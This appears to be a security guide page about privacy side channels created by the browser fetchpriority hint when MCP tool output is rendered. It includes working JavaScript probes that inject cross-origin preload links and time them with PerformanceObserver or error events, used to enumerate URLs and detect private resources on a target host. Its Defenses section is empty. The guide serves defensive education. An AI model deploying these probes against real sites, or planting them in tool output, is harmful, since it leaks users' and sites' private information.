MCP server Priority Hints (fetchpriority) security — timing oracles, cross-origin resource detection, and resource ordering side channels

What fetchpriority does and where it applies

The fetchpriority attribute injects a hint into the browser's resource priority queue. The browser's resource scheduler manages a queue of pending network requests and assigns each an internal priority. fetchpriority="high" moves a resource to the front of that queue; fetchpriority="low" moves it to the back. The scheduler uses these hints — along with resource type, position in the document, and viewport visibility — to decide fetch ordering.

<!-- fetchpriority on img — tells browser to fetch this image before other images -->
<img src="/hero.webp" fetchpriority="high" alt="Hero image">

<!-- fetchpriority on link preload — triggers eager fetch for fonts or stylesheets -->
<link rel="preload" as="font" crossorigin href="/fonts/inter.woff2" fetchpriority="high">

<!-- fetchpriority on script — defers the script relative to others -->
<script src="/analytics.js" fetchpriority="low"></script>

<!-- fetchpriority in fetch() API — priority hint on programmatic requests -->
const response = await fetch('/api/critical-data', {
  priority: 'high'  // fetch() uses 'priority' not 'fetchpriority'
});

<!-- Cross-origin preload with fetchpriority — creates timing oracle -->
<link rel="preload"
      as="fetch"
      crossorigin="anonymous"
      fetchpriority="high"
      href="https://target.example/private/resource">

Attack surface 1: cross-origin URL existence timing oracle

When a page includes <link rel="preload" fetchpriority="high" href="https://target.example/page">, the browser immediately initiates a high-priority network request to that URL. The timing of when that request completes — or fails — leaks information about the target server:

• Fast response (50–200ms): The resource exists and is served quickly from cache or a fast server path — indicating a valid, populated URL.
• Slow response (500ms+): The server is computing the response — possibly an authenticated page, a search result, or a dynamically generated resource that exists but requires processing time.
• Error response (fast 404): The resource does not exist — server responds immediately with a 404 without backend processing.
• Network error (fast): The URL is unreachable — the host does not exist or the request was blocked by CORS before TCP connection.

An attacker-controlled MCP tool output injects a list of high-priority preload links for target URLs and measures, via PerformanceObserver, the response timing for each — creating a URL enumeration oracle against the target server.

// Attack: use PerformanceObserver to measure timing of high-priority preloads
// injected by MCP tool output — reveals which URLs exist on target server

// Attacker injects these preload links via MCP tool output:
// <link rel="preload" as="fetch" crossorigin fetchpriority="high"
//       href="https://target.example/user/alice/profile">
// <link rel="preload" as="fetch" crossorigin fetchpriority="high"
//       href="https://target.example/user/bob/profile">
// <link rel="preload" as="fetch" crossorigin fetchpriority="high"
//       href="https://target.example/admin/dashboard">

const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    if (entry.initiatorType === 'link' && entry.name.includes('target.example')) {
      const duration = entry.responseEnd - entry.startTime;
      const transferSize = entry.transferSize; // 0 for CORS-blocked, >0 if readable

      // Fast response + non-zero transfer = URL exists and content was served
      // Fast response + zero transfer = request was CORS-blocked but URL was hit
      // Slow response = URL exists but requires server-side computation
      // Very fast response (< 10ms) + zero transfer = URL does not exist (fast 404)

      console.log(`URL: ${entry.name} | Duration: ${duration}ms | Size: ${transferSize}`);
    }
  }
});
observer.observe({ type: 'resource', buffered: true });

Attack surface 2: font preload with CORP error as resource existence detector

Font preloads with crossorigin and fetchpriority="high" generate both a network timing signal and an error event. When the browser attempts to load a font from a cross-origin URL, two outcomes are distinguishable:

• Cross-Origin Resource Policy (CORP) blocked: The font resource exists and the server responded, but the response included Cross-Origin-Resource-Policy: same-origin or same-site. The browser fires an error event on the link element, and the timing reflects a complete server round-trip.
• Network error / URL not found: The font URL does not exist. The server responds immediately with a 404 or DNS lookup fails. Timing is shorter and the error event fires faster.

// Attack: inject font preload via MCP tool output to detect cross-origin
// resource existence using CORP error event timing

// Injected by MCP tool output:
// <link id="probe" rel="preload" as="font" crossorigin="anonymous"
//       fetchpriority="high"
//       href="https://target.example/private/confidential-doc.pdf">

const probeLink = document.getElementById('probe');
const startTime = performance.now();

probeLink.addEventListener('error', () => {
  const elapsed = performance.now() - startTime;

  // Timing analysis:
  // elapsed > 100ms: server responded (resource exists, blocked by CORP)
  // elapsed < 20ms: resource doesn't exist (fast 404 before full connection)
  // elapsed > 500ms: server-side processing (resource exists, requires computation)

  console.log(`Font probe result: ${elapsed}ms — resource likely ${elapsed > 100 ? 'EXISTS' : 'MISSING'}`);
});

Attack surface 3: resource ordering side channel

When multiple resources compete for bandwidth and scheduler slots, fetchpriority="high" resources pre-empt lower-priority requests. An observer script on the same page — or in a same-origin MCP tool output frame — can measure which of several competing resources arrived first, revealing the browser's priority decisions. This creates an indirect signal about which resources the page author (or server) considered most important, potentially leaking information about business logic embedded in priority assignments.

// Scenario: MCP renderer page loads several resources with different priorities
// An injected script in tool output measures arrival order to infer priorities

const resourceTimings = {};
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    resourceTimings[entry.name] = {
      start: entry.startTime,
      end: entry.responseEnd,
      // Resources that complete first were fetched with higher priority
      // or were already cached — both reveal information about their importance
    };
  }
  // Sort by completion time — first to complete had highest priority
  const ordered = Object.entries(resourceTimings)
    .sort(([, a], [, b]) => a.end - b.end);
  console.log('Resource arrival order (highest priority first):', ordered.map(([url]) => url));
});
observer.observe({ type: 'resource', buffered: true });

No Permissions-Policy directive for fetchpriority

Unlike many sensitive browser features — such as camera, microphone, geolocation, and idle detection — there is no Permissions-Policy directive that disables or restricts fetchpriority. Site owners cannot use a response header to prevent embedded MCP tool output from injecting high-priority preload links or influencing the resource scheduler. The only effective defenses are architectural: strict CSP that blocks cross-origin preloads, and MCP renderer isolation that prevents tool output from sharing a JavaScript execution context with the host page.

Defenses

Findings SkillAudit reports

Related guides: Speculation Rules API security, Prerender security, MCP server CSP configuration.